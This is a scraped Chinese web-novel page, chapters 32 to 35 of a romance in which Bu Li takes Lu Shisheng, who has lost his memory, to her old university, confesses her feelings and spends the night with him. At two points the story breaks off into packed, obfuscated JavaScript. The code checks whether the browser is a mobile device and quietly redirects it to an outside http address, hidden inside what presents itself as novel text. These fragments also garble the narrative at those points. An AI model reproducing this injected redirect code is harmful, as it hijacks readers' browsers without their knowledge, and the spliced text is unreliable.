曹卉没想到过了这么多年,步梨一点也没变样,漂亮娇艳,身上还总是有淡淡的书香气,让她站在人群中总是最显眼的那个,她皮肤好像比之前更好了,白白嫩嫩的,就算贴脸去看也发现不了一丁点瑕疵。 曹卉的目光在步梨身上迅速走了一遍,发现她夹在身侧的包只是个没有logo的帆布包,衣服也是前几年的旧款,曹卉顿时觉得满意不少,优越感从心底生出,慢条斯理地把手里的新款D家包包从右手换到了左手。 “你办理好入住了吗?在哪间?”曹卉问。 步梨看了眼房卡,“在415。” 曹卉听过,立刻瞪大了眼,嘴巴张成一个O形,做出惊讶的表情,“四楼不都是普通房间吗?你怎么住这么差的?我住701,对面一间尊享套房还空着呢,你跟我住对面呗。” 步梨道:“不了,我看这里的普通房间还不错。” 曹卉担忧万分:“那能住得惯吗?” 她们两人说着,陆时生从步梨身边路过,拿走了她的行李,“我先上去。” 曹卉这才注意到陆时生,她方才以为他只是普通办入住的人,不料是跟步梨一同来的,等人转过来从她身边经过,才发现他模样很帅,只是全身上下没一件值钱的,普通的衬衣里套着短袖,唯一拿得出手的大概就只是那张脸了。 曹卉对长相帅气但没钱的穷小子没什么兴趣,只是因为他跟步梨一同而来,便多问了句,“这是谁啊?” 步梨道:“也是东大的一个校友。” “不是男朋友?”曹卉嘴角上扬。 步梨笑着摇了摇头,告辞道:“我先回房间收拾一下,明天聚会咱们好好聊。” 曹卉挤出一个笑来,把D家的包往上拽了拽,挎在胳膊肘,朝步梨摆了摆手。 步梨快步追上陆时生,赶着和他坐了同一个电梯上楼,他俩的房间在隔壁,陆时生把她的行李拿到门口,等步梨打开,看了眼房间确定没问题后,问了句,“步老板可满意?” 步梨环顾一圈,“勉强还行吧,就是......” 陆时生问:“哪里不合心意了?” 步梨半个人扑在门上叹息道:“房间挺大的,一个人住有点空旷了。” 陆时生打趣她一句,“那你搬去701和那个人一块住,我还能省一间房费。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525335|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 步梨脸色一黑,直接甩了句,“我跟她一向合不来!” 然后关了门。 陆时生在门口站了会儿,也回房了。 这两天,步梨做的事说的话,他看在眼里听在心里,意图昭然若揭,在感情方面,陆时生不是个不开窍的直男,他也曾有过心动,好几次也想要冲破两人间横着的鸿沟,只是都被他压制了下来。 他年纪不小了,做事需要深思熟虑。 在房间思考了一会儿,陆时生最终还是按捺不住下了楼,去附近的一家杏花斋排队买了些点心,回到酒店已经过了一个小时,他上楼直接敲开了415房间的门。 步梨刚才冲了个澡,听到敲门声,换好了衣服后才去开门,打开门便见到陆时生站在门口,目光淡淡的,看了她一会儿,才开口说:“雨停了。” “哦,是吗?我没注意。”步梨漫不经心应了句,随即接到陆时生递过来的一大包吃的。 “这什么?”步梨接过来,还没打开袋子,一阵奶香的热气铺面而来,“杏花斋的栗子糕?你记忆恢复了?” 杏花斋是东岛很有名的糕点铺,店里的招牌就是栗子糕,东岛大学旁边的这家分店周围年轻人多,基本上一天中的任何一个时刻去买栗子糕都是需要排队的,陆时生怎么知道这个? 陆时生见她满眼欣喜,好像比他更期待他能想起之前的事情来,一时有些不忍让她失望,但也只能实话实说:“来之前,上网做了点攻略。” 步梨倒也没失望,她也只是抱着万分之一的心态问了一嘴,毕竟一个失忆了这么长时间的人,哪能说想起来就想起来,话说回来,陆时生居然去了杏花斋,肯定排队就得花上一个小时。 若这样算,陆时生回了酒店应该没有休息,落了会儿脚就去了杏花斋,不过他身上衣服倒是换成一件随性的白色短袖。 陆时生半靠在门框上,低声道:“饿的话先垫垫肚子,这附近有什么好吃的吗?晚上我请你。” 来之前,步梨为了哄骗陆时生过来,就有找过好多口碑优质的餐厅,几乎都快挑花了眼,考虑到此次来的目的,步梨最终选定了在东大西门门口的一家火锅店。 火锅店的店面不大,但布置得很有特点,吃的也美味又实惠,东大的学生小聚经常选这里,陆时生若是在东大读过书,肯定也来这里吃过。 渐渐入夏,6月的温度已经开始有了向盛夏靠拢的趋势且愈发张狂,虽然刚下过雨,又是傍晚,热浪半点都没消退,反而融在潮气之中,渗进人的毛孔,让人觉得无时无刻不身处一个巨大的蒸笼里。 火锅店里冷气开得很足,室内室外反差极大。 到了之后,陆时生才知道步梨为何选了这里,这家店确实很有特色,不熟悉的还以为这里是书店。 用餐的大厅被装饰成图书馆的模样,用书架相隔开,配合火锅冒出的热气,处处给人很温馨充实的感觉。 进了门,步梨边走边问陆时生:“有印象吗?” 陆时生看着架子上的展品发呆,步梨见状,也停下脚步在旁边静静等他,过了会儿,陆时生开口:“毫无印象。” 步梨:“......” “没事,一会儿再刺激一下味蕾。”她安慰道。 他们来得早,位置还挺多,步梨选了个角落里的位置坐下,点了餐后,很快上了菜。 两人一边吃,步梨一边给他讲着大学时发生的事,她提了些当年学校赫赫有名的八卦,还有大名鼎鼎的老师,希望能唤起陆时生某处的记忆神经,但最终无果。 陆时生对她的大学经历倒是很感兴趣,听得津津有味。 “就一点记忆都没有?” 步梨不死心。 陆时生实在想不起来,“一点没有。” 说完,又道:“火锅挺好吃。” 33. 寻找回忆之旅 吃完饭后,两人去东岛大学的校园里走了走。 玉兔东升,月光很亮。 东岛大学的校园很大,还分了南北两个校区。因为不知道陆时生是哪一届的,学院也不知,所以他们只能先漫无目的地逛逛校园。 步梨猜测,陆时生最有可能是理工科专业的,比如数学系、金融系或者通信航天计算机之类的,他长得帅,被话剧社招揽过去的几率也大,所以前两天她便拜托了安宏远帮忙打听着,找找这些地方有没有人听说过陆时生这个名字。 晚上在校园闲逛的时候,她还真收到了安宏远的发来的消息。 步梨看了眼手机,惊喜道:“问到了!安宏远说他一个朋友当年在话剧社,说对陆时生这个名字有点印象,但不太熟,他可以派个学弟明天去话剧社找找当年有没有保存下来的招新资料,上面有照片和信息。” “安宏远是谁?”陆时生竟然第一时间在关注这个。 “是我一个同学。”步梨道。 当年在学校,安宏远当了两年的学生会会长,人脉很广,正巧前几天他来联系了步梨,步梨就拜托了他这件事情,安宏远当即一口答应下来,只是一直没消息,步梨本来都忘了这件事了,没想到现在收到了安宏远发来的好消息。 一个篮球滚落到步梨脚下,步梨弯下腰把球捡起来,抬头看见一个穿着跨栏背心的男生在笑嘻嘻地朝她招手。 步梨把球扔回去,男生朝他笑着高喊了声“谢谢”,满是青春的气息。一瞬间步梨好像又回到了大学时代,她和陆时生都还是东岛大学的学生,他们在校园里相遇、相识,一起漫步。 月光和操场边的路灯光线交融在一起,浮动着淡淡清波。 她微微侧头,看了眼陆时生英俊的侧脸,夜晚的微风将他的留海轻轻撩动,步梨心里跟着产生了很久没有的悸动。 陆时生真是东岛大学的话,他们肯定在同一个食堂吃过饭,在操场跑过步,在这里的图书馆借过书,在教室上过课。 她真希望,她和陆时生更早一点相遇。 ...... 第二天上午,步梨和陆时生到了话剧社。 东岛大学的校庆演出,话剧社贡献了不少节目,到的时候,学生演员们都在紧张地化妆。步梨到了还担心有打扰到他们,没想到社长十分热情,还送了他们两张校庆演出的入场券,还是前排VIP坐席。 平时叱咤风云玉树临风的话剧社社长在步梨面前秒变小奶狗,一边给步梨带到里面的一排椅子上让她坐,一边从一个堆了一堆文件的办公桌上抽出一个文件夹,打开,拿出一份报名表。 “步梨学姐,这些报名表都好多年了,我昨天可是找了一下午,才在一个落了灰的旧纸箱里找出来了,再过两天估计就当废品卖了。” “不过——”孟宇看了一眼陆时生,迟疑地开了口,“好像和这位学长长得不太一样。” 步梨打开一看,姓名那一栏写着“陆时生”三个字,旁边的照片是打印在表格上的,有些模糊,但能看清楚和陆时生的五官并不一样。 “看来是重名了。”她失落道。 “没事,找不着就算了。”陆时生倒不是很在意。 旁边有几个人好奇地往这边看,话剧社不缺好看的人,但今天来了这两位学长学姐长得跟明星似的,看两眼就觉得心情舒畅。 有个男生高喊着问:“社长,这是请来的助演嘉宾吗?” 孟宇笑着刺儿了他们一句,“这是前辈,来检查的,赶紧排练去!” 男生叹了两口气,和其他人拥作一团走了。 “上学真好。”步梨笑了一声。 她朝学生们热情地挥了挥手,做了个“拜拜”的口型,听到陆时生也跟着笑了一声,“是,上学真好。” 眼下话剧社也在紧张地彩排,事情也有了结果,他们也没再多待下去。 临走前,陆时生又瞥了眼那张报名表,他总觉得照片上的人有点眼熟,却又说不出来在哪见过。 他想了一会儿,感觉有点头疼,便没继续追究。 校庆演出的会堂里,步梨遇到了不少老同学,演出一结束,他们几个老同学便聚在一块准备一同前去聚餐约定的地点。 曹卉注意到步梨身边的陆时生,正是昨天她见到的人,八卦之心立刻被点燃,“步梨,我没猜错的话,这位帅哥是你男朋友吧。” 步梨其实很希望此时能够大大方方和大家说陆时生是他的男朋友。 这两天她的行为其实已经很明显了,陆时生没有躲避,而且还主动积极回应,可再怎么说,到底只能算作暧昧,话没说清楚,始终都只是朋友身份。 步梨摇头道:“是朋友。” 这话一出,身旁的安宏远紧紧攥着的拳头暗自松了几分,曹卉挑眉笑了两声,“看来是关系很好的朋友,帅哥叫什么名字?哪人?” 陆时生淡淡道:“陆时生,S省人。” 曹卉拉着长音哦了一声,“这位帅哥既然是步梨的朋友,想必身份不一般喽,能否冒昧问一句在哪高就呢?” 步梨一时很想冲上去堵住曹卉的嘴,她有些不安地看了眼陆时生,见他面色平静,语调也很平淡,“我就是普通人,平时做做木工,兼职送快递。” 曹卉迅速解读出来,“原来是手艺人兼物流公司的老板啊,陆家......该不会是蓝海集团的董事长陆正名吧。” 陆时生:“不好意思,不是。” “啊这样。”曹卉没再说话。 步梨忽然有些后悔喊陆时生一块来东岛大学,或者说她更后悔刚才演出结束她没直接走,在座位上墨迹了一会儿,现在碰到曹卉。 上学的时候她和曹卉交集不算多,所以对她不是很了解,从没想到她居然会说出这样的话来。 步梨朝她扬了扬嘴角,开口道:“你倒是八卦,就顾着打听别人了,怎么不说说你自己,打扮得这么漂亮,工作不错吧?” 曹卉唉了一声,“最近跳槽了,去了OG。” 步梨皱着眉思考了一会儿后说道:“这公司名声不太好,听说有不少债务纠纷,唉我说话直你别介意,那边的伙食好像很不错的。” 曹卉听过脸一黑,正想说什么,步梨已经从她身上转移了目光,看着手机啊了一声,“班长在群里喊人了,咱们快点出发吧。” 曹卉一时有种有劲儿没处使的憋屈。 ... 聚餐的地方在东岛大学旁边的一个大型商场,步梨坐了安宏远的车过去。 陆时生没跟他们一块来,步梨站在他的角度想了下,觉得面对一大桌自己不认识的人确实是头疼,便没有勉强,让他回酒店等她,陆时生说来一趟东岛不容易,要在东大或者附近继续转转,步梨点了点头,说等她结束再联系。 聚会上大家七嘴八舌地聊着各种八卦,步梨从小也听多了圈子里的奇葩事,这年头就算听到哪个男人生出孩子来也不足为奇。她兴致缺缺地听着,偶尔也会插言一两句表示应和。 一顿饭下来,有一件事情倒是让她生出几分触动。 他们班里有个叫陈子佳的同学,毕业后便在江北的温氏集团做设计,她在饭桌上聊起了她公司大老板儿子的事。 “温家的小少爷才多大,十九岁!来趟公司就勾引上了我们公司比他大二十岁的总监,还把人搞怀孕了,自己又不想担责,现在想着法儿让我们总监去打胎,真是道德的沦丧!” 步梨嘴里正嚼着丸子,听到这儿差点没噎到,“你老板是叫温宋元吗?” 陈子佳惊讶地点点头,“对啊,你认识?” 步梨点点头,“可温宋元唯一的儿子不是死了吗?” 步梨知道些温家的事。温宋元便是沈思筝的亲舅舅,温宋元的儿子温故是沈思筝的亲表哥,特战队的特种兵,七年前在执行任务时牺牲了。 陈子佳啧啧了两声,说道:“是啊,现在这个叫温礼,是温家领养的,可到底不是亲生的,我觉得跟他说话时,他骨子里都透着贱兮兮的感觉。” 有人笑着猜测:“你怎么知道不是亲生的?说不定就是你老板在外面的私生子,这下有理由给叫回来了呢。” 陈子佳摇摇头,“应该不会吧,他跟我们老板一点儿也不像。” “......” 后面讨论了没几句,这事便被一个富豪养的小三上位的八卦取代了。 步梨也没继续问,她原想问问沈思筝的,可想了想,都是一些谣言八卦,她何必要主动提当年的伤心事戳她的痛处。 最终还是作罢。 吃过饭,班长又提议去KTV,步梨不太喜欢太吵闹的地方,便与大家道了别。 她刚出餐厅没走多远,便见到在外面等她的陆时生。 “吃得如何?”他淡淡问了句。 “中规中矩吧。”步梨道,“在这儿逛逛?” “行。”陆时生答应。 步梨虽然没有买衣服的打算,但路过一家店时,刚巧看见一张熟人面孔,她记得她名字叫诗雯,几年前步梨上学的时候经常来这家店买衣服,几次下来和这里的店员也都认识了,尤其诗雯接待得最多。 没想到这么多年,她还在这儿没有离开。 诗雯这姑娘热情友好,见到步梨缓缓瞪大了眼睛,“步小姐?好久不见啊。” 步梨笑着道:“是,我毕业后就没在东岛了。” 诗雯笑起来的时候眼睛弯成一条缝,笑眯眯地看了眼陆时生,“交男朋友了?” 步梨无奈笑笑:“还没。” 诗雯秒懂,很快转移到了正题,“好不容易回来一次,要不要来看一下,最近刚好有衣服上新。” 盛情难却,步梨点头答应。 诗雯给她拿了几年当季的新款,步梨都没太看上,诗雯想了一会儿,开口道:“新款确实都不太适合步小姐的风格,不过还有一件,步小姐一定喜欢!” 她很快拿来了一条淡绿色的碎花长裙,“这件虽然挂着不起眼,但步小姐的身材,穿上肯定好看,也只有您的身材能hold得住它了。” 步梨在她的推荐下试了一下,衣服上身确实很合适,方形的领口微敞,却不显得露骨,腰线偏上,裙摆长且垂顺,一直拖到脚踝,上面的印花有淡淡的田园风,又因在细节上融合了一些时尚元素,整体也不失高级感,像是森林里的精灵。 确实是条好裙子,但步梨最终还是没买。原因有二,一是她有一条与之风格类似的裙子,颜色也差不多,二是...... 这条裙子的价格四位数不便宜,她有点怕给陆时生太大压力。 她最后只挑了顶草帽,等回了花溪镇去海边戴一戴。 诗雯一如既往地亲切地帮她打包后,然后送他们到店门口。 步梨逛得累了,有些口渴,在休息区找了个空位坐下休息,让陆时生去排队买果茶。 陆时生虽然不太明白为什么买杯果茶还要排队,但步梨指明了要喝这家,他也就耐着性子去排了。 步梨在不远处坐着,能清楚看到他的侧脸。 她心里五味杂陈。 方才在商场闲逛,两人之间的氛围完全不像她想 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“你在绿洲?我就在旁边,马上就能到,我们在一楼的咖啡厅见怎么样?” 其实步梨心里早有预料,既然见面方便,正好她也想和安宏远道谢。 “好。”她答应。 步梨挂了电话,起身去排队的地方找陆时生。 “有个同学想过来,叙叙旧,聊聊天。” “行。”陆时生什么也没问直接点了头,“要多久?我在这还是回去等你?” “不会很久,你和我一起去也行。” “我先排队,过会儿去找你。” 步梨走后,陆时生往前面望了一眼,他凝视着长长的队伍还有店员慢条斯理一点不着急的动作,感觉眼前的画面被调成了0.5倍速,每一帧都异常缓慢。 他前面有两名女生在开心地聊着天,竟然一点都不着急,还一副乐在其中的样子。而他现在,甚至想冲上前去亲自帮店员打果汁。 大约过了二十分钟,陆时生才买到了果汁,去了步梨说的一楼咖啡馆。 隔着落地玻璃窗,陆时生看见坐在步梨对面地男人从精致的西装外套里掏出一个深蓝色的精美的盒子,打开后,里面是一条手串。 陆时生不太懂珠宝,但从男人的穿着还有那条手串上泛着耀眼光泽的蓝宝石就可以看出,这条手串定然是价值不菲。 步梨摇了摇头,男人脸上带着和善的笑又说了几句,步梨的眉目舒展渐渐开来,随后笑着将手串收下。 陆时生心里某个地方泛起阵阵酸涩,极度的不安驱使着他迈开脚步,从门口迅速走到二人面前。 “果汁。” 他把打包好的果汁放在步梨面前,随即坐到步梨旁边的空位上。 长方体的果汁打包带正好竖在步梨和安宏远视线的中间,像是横插进来一个突兀的盾牌。 “这位......”安宏远的视线朝陆时生投过来,语气扔不失礼貌,“是陆先生?” 陆时生同样淡定地笑了笑,“你认识我?” 安宏远笑笑:“步梨一直在拜托我打听你的过去,你好,我叫安宏远。” 步梨看向陆时生,平和地补充道:“这是我同学,你报名了话剧社的事情就是他帮我打听到的。” “只可惜是重名,没帮上忙。”安宏远叹了句,又道,“不过我可以继续帮你打听着,有消息的话,我再给你发信息,公司那边还有点事情要处理,那今天就先不打扰了。” 步梨道:“嗯,多谢,那不耽误你的时间。” 一直到离开,安宏远都很随和,对比之下,陆时生觉得自己方才的行为好像有些鲁莽。 步梨把果汁从包装袋里拿出来,用吸管一口一口吸着果汁。 过了会儿,陆时生忍不住了,开口问步梨,“他......和你聊了什么?” 步梨平静道:“哦,就是老同学叙叙旧。” 她又喝了几口,然后将那个深蓝色的盒子放进包里,转头若无其事地看着陆时生,“回去吗?” 陆时生感觉胸口一堵,微微垂着眼低声应了句:“嗯。” 他们从咖啡厅临街的大门出去,直接走到一条很安静的街道。 这边树木繁茂,人少,头顶的鸟叫显得周边愈发安静。 长长的林荫道上,步梨看见陆时生手里多了一个袋子,袋子的logo她很熟悉,“袋子里是什么?” “哪个?” “这个。”步梨指了下后,直接将袋子拿了过来,“你给我买裙子了?” 陆时生不咸不淡道:“一条裙子而已,比不得那条手链。” 步梨有些意外。她怎么都不相信,平时一个烂苹果都舍不得扔的陆时生,竟然会花两千块钱给她买一条裙子。她沉浸在这种震惊加喜悦之中,没太听他刚刚说什么,等这句话从耳朵传进大脑的时候,步梨才缓慢地分析出其中隐藏的信息。 他刚刚提了手链。 陆时生自顾自在闷闷不乐,步梨这边却豁然开朗。 她好像确定了一件事。 她抬眼看向陆时生的眼睛,目光炙热地与他对视,清澈的眼眸里盈满了毫不掩饰的欣喜与激动。陆时生受不住她这般热烈的注视,他抿了抿嘴,移开眼,随口道:“要是想转钱给我也不是不行。” “不是送我吗?”步梨努力压制上扬的嘴角,发现很难,索性没再掩饰。 她一向不喜欢拐弯抹角,陆时生走得快了些,她抬脚去追,在他身后高喊了句,“陆时生,你喜欢我吗?” 34. 他不配 陆时生整个人停住,步梨便也停在他身后。 两人一前一后站在路边。 阳光穿过茂密的枝叶洒下来,在石子路上形成窸窣的影子。 陆时生过了好一会儿才回头看她,眼底依旧平静,只有他自己知道,回头前的那一秒,那其中还翻涌着剧烈的震惊与慌乱。 他笑了声,用开玩笑的语气道:“一条裙子,就要以身相许?” 事至于此,步梨不想和他开任何玩笑,她往前走了一步,两人靠得很近,她直勾勾的盯着陆时生,毫不畏惧的目光让陆时生有些恍惚。 “我喜欢你。” 周围一片寂静。 “我喜欢你。”她又重复了一遍。 鸟叫声好像也消失了。这一刻她唯一能听到的,只有自己的心跳。 原本以为,她早过了能对人心动的年纪,曾经她还笑过冯雅。但此时此刻,她能清楚感受到自己的蓬勃跳动的内心,那颗心里承载着欲望与爱意,跳动得那么激烈,不可控制,让她心甘情愿为这种感觉去冲动一次,努力一次,至于结果是什么,并不重要。 她在仰头看向他,目光里充满着期待、渴求,在真诚地等着他的答案。 陆时生觉得那一刻他有点鬼上身了,很想将她一把拥入怀里,紧紧抱着永远也不放手。 和步梨相处久了,陆时生几乎都快忘了,他是大户人家的公主。 平时花钱从不看价格,电动车和头盔都要最好最贵的,有时忙活一天累得要死,可心情一好便不收顾客的钱,随便一条裙子就是四位数,她圈子里的朋友非富即贵,只因为她为人随和,没有架子,所以总是给人一种错觉,让对方以为他们站在了平等的高度。 这样一个随时不在发光的人,现在又在真挚认真地和他说,“我喜欢你。” 可他怎么可以忘了,他们其实是两个世界的人。 他怎么配? 他就是不配。 可理智只是一部分,很多时候,人的感情都凌驾于理智之上。 就像半小时前,他也不知道自己怎么就进了那家店买下了那条他觉得价格不可理喻的裙子。也不知道一天前,他为什么在雨里排了半个小时的队,买了杏花斋的糕点,然后急不可耐地给人送过去。 他嗓子发干,声音低哑得厉害,“你真是瞎了眼了看上我。” “我就是眼没瞎才看上你。”步梨眨了眨自己雪亮的双眼。 她刚才一不小心说了真话。 确实,她垂涎陆时生的脸,可这并不是全部,一时慌乱,也不知该怎么解释。 陆时生张了张口,发现他也不知道自己到底想要说什么,矛盾充斥着他的内心,最终只说了这一句,“走吧,先回去。” 这次,步梨依了他。 回酒店的路上,步梨坐在出租车后座,陆时生在副驾,他侧头看向窗外时,步梨能清楚得看到他的侧颜,她经常忍不住去看陆时生,目光在他漂亮的唇上停顿片刻后移开,心想着若他不答应,倒不如来点粗犷直接的方式。 紧张、害怕与不安席卷着她身上的每一寸细胞,胸口像是被一个巨大的重物压迫着。 方才她迫切地想听到陆时生的答案,可这可怕的寂静过后,她开始看不懂陆时生的目光。 她忽然有些后悔自己的冲动,此时此刻,她竟然希望刚才只是一场梦,其实什么也没发生过。 她不想得到答案。 下了车,两人平静地上了电梯,一路安静。 回房间之前,步梨终于开了口。 她调整了半天心态,此刻决定鼓起勇气道:“如果你现在不知道该怎么回答我,我可以给你时间考虑。” 陆时生依旧不知如何开口,回来的路程不算近,但他还是觉得时间过得太多,他来不及思考。 话说回来,他甚至不知道自己在思考什么。 此刻,步梨给出的条件太诱人,陆时生到底还是没忍心拒绝。 ... 晚上,陆时生迟迟没有睡着。 他第一次感受到现实与理想带来的落差。 他心里充斥着恨意与矛盾。 他恨自己没有对步梨说出口那句话,“我也喜欢你。” 又庆幸自己没有说。 他本就没有资格说。 既然没有资格,又为何不直接拒绝? 陆时生想狠狠捶自己一顿,他迟迟未给答案,那小丫头却还在为他考虑,柔和地说要给他时间。 陆时生觉得自己真是个混蛋,要别人为他的优柔寡断埋单。 就这么睁着眼,不知过了多久,他手机响了一下,陆时生点开屏幕看了眼时间,已是半夜23点。 是步梨发来的。 “外面下雨了。” 陆时生方才一直处于神游状态,没关注外面的动态,这会儿才听到天边有惊雷轰隆响起,他起身看了眼窗外,道道闪电几乎要将夜空劈开。 聊天窗口上方还现实“对方正在输入中...”陆时生没等她接下来要发什么消息,顺手就拨了电话过去。 电话几乎是下一秒,立即就被接通。 刚刚在房间里,他无数次对自己说要理智,要冷静,要认清现实。这些话语像是一张网将他的爱意紧固,可无论这张网再怎么大,怎么密,都在一个无法预料的瞬间溃不成军。 “什么事?”步梨声音如常。 “哦,”陆时生清了下嗓子,“外面下雨了。” “我知道啊,刚才听到雷声了。”步梨是被雷声惊起来的,天气预报说这雨预计会持续到第二天下午,考虑到明天一早他们还要赶车,步梨正给陆时生发消息想要提醒他明天早点起来收拾,以防打不到车,还没打完字,陆时生便一通电话打了过来。 对面低哑的声音传过来,“打雷了,不害怕?” 陆时生也不知道自己怎么就问了这么一句话,说完,听到对方沉静了一会儿,似乎是笑了笑,回道:“有点。” 仅仅两个字,带着些无辜与撒娇,陆时生心里瞬间万千起伏,胸膛中似乎有一座即将喷发的火山,他挂了电话,匆匆换了衣服,一路快步到步梨房间。 站在门口,他深吸了两口气,然后砰砰敲了两下门。 时间似乎变得漫长。 陆时生感觉过了很久,门才被人打开,步梨站在门口,双颊泛红,一双漂亮的杏眼炯炯有神地望过来。 “你怎么来了?” “来...看看你。”陆时生有些局促,“那我回去了。” 他觉得自己冲动太多了,正要走,被步梨拽住了衣角。 “都来了,还要走?” 步梨幽深地目光望过来。 她松了手,“再给你时间考虑一会儿,若还没想好,我就关门了。” 没等步梨说完,陆时生入室抢劫一般闯了进来,反手关了门,转身时顺势将步梨抵在门口。 步梨被他压制着,后背贴在冰凉的墙面,脸上却丝毫没有畏惧的神情,微微扬起下巴看他,“你是害怕打雷吗?” “是,我怕得要命,你安慰我一下。”陆时生哑着嗓子,大言不惭地说怕,声音里听不出一点恐惧与求助,反而字字透着蛊惑。 “怎么安慰——”步梨刚说完,便觉眼前一黑,陆时生灼热的唇随之贴了上来。 一只温暖的大手握住她,交缠进她的手,将她牢牢禁锢住。 两人十指相扣,呼吸交缠在一起,唇瓣也互相抚摸。 步梨感觉自己身处在海浪的中心,一道道浪潮扑打而来,一波未平一波又起,从温柔试探变得汹涌热烈,她人漂浮在其中越陷越深。 大雨还未停歇,橘黄的灯光笼罩在四周。陆时生身体贴过来的同时,舌尖也迅速往里探进来,冲破了喧嚣雨声,炙热的温度在两人之间迅速蔓延,像外面的大雨一样汩汩流淌。 步梨感觉身体软软的,再过一会儿就要融化在他的掌握之下,她感觉自己要溺在海里,猛地推开陆时生,大口呼吸了几下,却又泛起无尽的不舍,双手紧紧环住他的脖子。 陆时生将她整个人托举起来,几步就进了房间。 “所以你答应我了?”步梨贴在他耳边问。 灼热的气息在陆时生耳边撩人地绕了两下。 “答应。”陆时生低低回应一句,说完就要去亲她, “真的?”步梨偏开头故意不让他亲,“答应什么?” “什么都答应。”像是被羽毛扫过心尖,陆时生被她撩拨得心痒难耐,“步大小姐今天废话有点多啊,不然......明天结婚,满意吗?” 步梨皱了皱眉,这个时候他还在扯皮。 “不......” 没等她说完,陆时生重新纠缠过来,重新含住她柔软的嘴唇。 外面的雨很急,步梨在瘫软在床的上一秒,用最后一分力气一把将窗帘拉上,将窗外的潮湿与喧嚣隔绝在外。 ...... 次日,步梨是被闹钟吵醒的。 她浑身酸痛得厉害,一直到最后一个闹钟响起,才不情不愿地爬了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561279|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 房间里只有她一人,外面雨还在下,噼里啪啦拍打着窗面。 步梨揉了揉眼睛,感觉身体散架了一般哪哪儿都不舒服,脑海里浮现昨晚的事,早知会被这般折腾,昨天就不该冲动,应该循序渐进才是。 她缓了好一会儿才发现床边空空的,陆时生不在,昨天晚上好像是一场梦,但四处凌乱的痕迹又提醒她,一切都是真实发生过的。 步梨喊了两声,没人回应,她人醒了大脑还处于浑浑噩噩的状态,莫名其妙的想法在其中乱窜,甚至担心陆时生后悔跑了。 她沮丧地拍了下额头,心想着原本人就是不情不愿犹犹豫豫的,怕不是后悔了,所以跑回了自己屋里。 咔嚓一声房门被打开,步梨抬眼见陆时生拎着一个袋子不紧不慢地走了进来,见步梨醒了,便把手里的东西放在一边走了过来。 “行李我差不多都收拾好了,今天下雨,咱们得早点出发。”他打开行李箱时,步梨见到她的衣服还有一些个人用品都被整整齐齐地放置在里面,陆时生拿出最上方的一件裙子,“穿这件?” 步梨点了下头,目光在陆时生身上打量了一番。简单的黑色T恤被他穿出超模的感觉,好看的锁骨露出来,连着肩颈呈现出完美平衡的线条。 窗帘被留了半条缝,暗淡的日光挤进来映在他的脸上,显得纯粹干净,意气风发。 昨天明明那么晚才睡,他现在竟然这么精神。 真是精力旺盛的男人。 步梨心里大喊不公平。 陆时生也不知道她在想什么,帮忙拉上了窗帘的缝隙,同时道:“我买了早餐,一会儿车上吃。” 步梨做出一个笑容,“这么贴心吗?” 陆时生回头望了他一眼,“毕竟要照顾一下眼瞎了的人。” 他见步梨还愣着,长长的黑发垂下来,有点乱,挡了半天脸,他不禁嗤笑,“想什么呢?” 步梨呆愣了一会儿,然后叹了口气,如实道:“浑身酸疼。” 陆时生人一僵,扯了下嘴角,“我下次注意。” 话是这样说,他也不知道下次怎么注意。 “再不起床,一会儿赶不上车了。”他催促道,“要不我给你穿?” “不用了,你先出去一下。” 陆时生暗暗勾了勾唇,觉得她很容易就害羞,又想起昨天晚上两人的火热,显然他们俩的白天和晚上并没有共用一个进度条。 大概是见陆时生没动,步梨皱了眉,慢吞吞说道:“我感觉咱们还是要慢慢来,不要一下发展太快,所以你先出去,我才能换衣服。” 这话说出来之后,陆时生的太阳穴狠狠跳了两下,一种心虚蒙上心头,不太自信地看了眼步梨。 难道是......对他不满意? 他将行李箱合上,转身出了门,“外面等你。” 一夜的暴雨将空气里的闷热带走了大半,出发的时候,已是淅淅沥沥的小雨,随着凉爽的风飘落下来。 步梨从早上起来就蔫蔫的,四肢酸软无力,一路都是一副失魂落魄心不在焉的模样,陆时生倒是精神,一路上打车搬行李,丝毫没有半点疲惫。 等到了车厢找到对应的位置,步梨觉得累极,坐下后便歪着头看向车窗外。 陆时生递了杯豆浆给她,步梨接过来说了声“谢谢”,她幽怨地看了眼陆时生,扭过头边喝边继续看风景。 陆时生被她这眼神看得浑身发冷,强忍着心里的一团火,包了个鸡蛋递过去,“要不要?” 步梨一如方才,同样说了句,“谢谢。” 来回几次过后,终于是换了陆时生幽怨,他胳膊肘撑在座椅的扶手上,轻瞥了步梨一眼,不咸不淡地说了句,“不满意也不至于这样,我下回改改便是了。” “改什么?”步梨回头看他一眼。 陆时生咳了一下,“就是晚上......” 步梨脸一红,明白了他的意思,知道是他误会了,想要开口辩解几分,又不想在火车上跟他探讨这个,还是将嘴边的话咽了下去,最后只说了句,“累了。” “那就睡会儿,快下车了我会喊你。” 步梨实在是缺觉,很快靠着车窗睡了过去。窗外阴沉沉的,步梨下巴微微扬着,睡得很沉,红润的嘴唇微张,柔软又诱人。 陆时生看着她的睡相,目光在她粉嫩的嘴唇上顿了片刻,心里生出没来由的一团火热。 他皱了下眉,强行把目光移向别处,顺手把鸭舌帽从自己头上摘下来,扣在了步梨脸上。 35. 专属厨娘 两人是临近傍晚才回到花溪镇的。 去东岛的这些天虽然没帮陆时生找回从前的记忆,但两人的关系发生了巨大的转变。 